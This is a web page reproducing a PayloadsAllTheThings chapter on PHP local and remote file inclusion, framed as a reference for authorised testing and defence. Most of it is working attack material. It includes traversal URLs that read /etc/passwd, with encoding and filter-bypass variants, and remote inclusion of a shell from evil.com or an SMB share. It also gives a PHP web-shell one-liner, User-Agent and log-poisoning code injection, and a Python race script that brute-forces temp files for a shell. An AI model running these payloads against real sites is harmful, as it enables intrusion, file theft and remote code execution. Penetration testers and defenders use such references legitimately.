Skip to content

Payloads · File and Path Handling

A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of mali…

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

Disclosed reports of this class

39 of 39 passages

Passages
  1. File Inclusion
  2. Local File Inclusion
  3. Null Byte
  4. Double Encoding
  5. UTF-8 Encoding
  6. Path Truncation
  7. Filter Bypass
  8. Remote File Inclusion
  9. Null Byte
  10. Double Encoding
  11. Bypass allowurlinclude
  12. LFI-to-RCE: LFI to RCE
  13. LFI-to-RCE: LFI to RCE via /proc//fd
  14. LFI-to-RCE: LFI to RCE via /proc/self/environ
  15. LFI-to-RCE: LFI to RCE via iconv
  16. LFI-to-RCE: LFI to RCE via upload
  17. LFI-to-RCE: LFI to RCE via upload (race)
  18. LFI-to-RCE: LFI to RCE via upload (FindFirstFile)
  19. LFI-to-RCE: LFI to RCE via phpinfo()
  20. LFI-to-RCE: LFI to RCE via controlled log file
  21. LFI-to-RCE: RCE via SSH
  22. LFI-to-RCE: RCE via Mail
  23. LFI-to-RCE: RCE via Apache logs
  24. LFI-to-RCE: LFI to RCE via PHP sessions
  25. LFI-to-RCE: LFI to RCE via PHP PEARCMD
  26. LFI-to-RCE: LFI to RCE via credentials files
  27. LFI-to-RCE: Windows version
  28. LFI-to-RCE: Linux version
  29. Wrappers: Inclusion Using Wrappers
  30. Wrappers: Wrapper php://filter
  31. Wrappers: Wrapper data://
  32. Wrappers: Wrapper expect://
  33. Wrappers: Wrapper input://
  34. Wrappers: Wrapper zip://
  35. Wrappers: PHAR archive structure
  36. Wrappers: PHAR deserialization
  37. Wrappers: Leak file content from error-based oracle
  38. Wrappers: Leak file content inside a custom format output
  39. Wrappers: Leak file content using blind file read primitive

File Inclusion

SourceOn the Atlas

> A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.

Local File Inclusion

SourceOn the Atlas

**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code. Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.

<?php
$file = $_GET['page'];
include($file);
?>

In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.

http://example.com/index.php?page=../../../etc/passwd

Null Byte

SourceOn the Atlas

:warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).

http://example.com/index.php?page=../../../etc/passwd%00

**Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470

{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00

Double Encoding

SourceOn the Atlas
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

UTF-8 Encoding

SourceOn the Atlas
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00

Path Truncation

SourceOn the Atlas

On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.

http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE] 
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd

Filter Bypass

SourceOn the Atlas
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

Remote File Inclusion

SourceOn the Atlas

> Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input. Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP 5.

allow_url_include = On

Most of the filter bypasses from LFI section can be reused for RFI.

http://example.com/index.php?page=http://evil.com/shell.txt

Double Encoding

SourceOn the Atlas
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

Bypass allowurlinclude

SourceOn the Atlas

When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol. 1. Create a share open to everyone 2. Write a PHP code inside a file : `shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`

LFI-to-RCE: LFI to RCE

SourceOn the Atlas

> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).

LFI-to-RCE: LFI to RCE via /proc//fd

SourceOn the Atlas

1. Upload a lot of shells (for example : 100) 2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.

http://example.com/index.php?page=/proc/$PID/fd/$FD

LFI-to-RCE: LFI to RCE via /proc/self/environ

SourceOn the Atlas

Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

LFI-to-RCE: LFI to RCE via iconv

SourceOn the Atlas

Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`. **Requirements**: - PHP 7.0.0 (2015) to 8.3.7 (2024) - GNU C Library (`glibc`) <= 2.39 - Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters **Exploit**: - [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)

LFI-to-RCE: LFI to RCE via upload

SourceOn the Atlas

If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf

LFI-to-RCE: LFI to RCE via upload (race)

SourceOn the Atlas

- Upload a file and trigger a self-inclusion. - Repeat the upload a shitload of time to: - increase our odds of winning the race - increase our guessing odds - Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6} - Enjoy our shell.

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)

print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')

LFI-to-RCE: LFI to RCE via upload (FindFirstFile)

SourceOn the Atlas

:warning: Only works on Windows `FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories. - `*`/`<<` : Represents any sequence of characters. - `?`/`>` : Represents any single character. Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`. Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`

LFI-to-RCE: LFI to RCE via phpinfo()

SourceOn the Atlas

PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**. > By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name. Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)

LFI-to-RCE: LFI to RCE via controlled log file

SourceOn the Atlas

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

Data as of 2026-11-14.

Updated AboutDevelopersSign in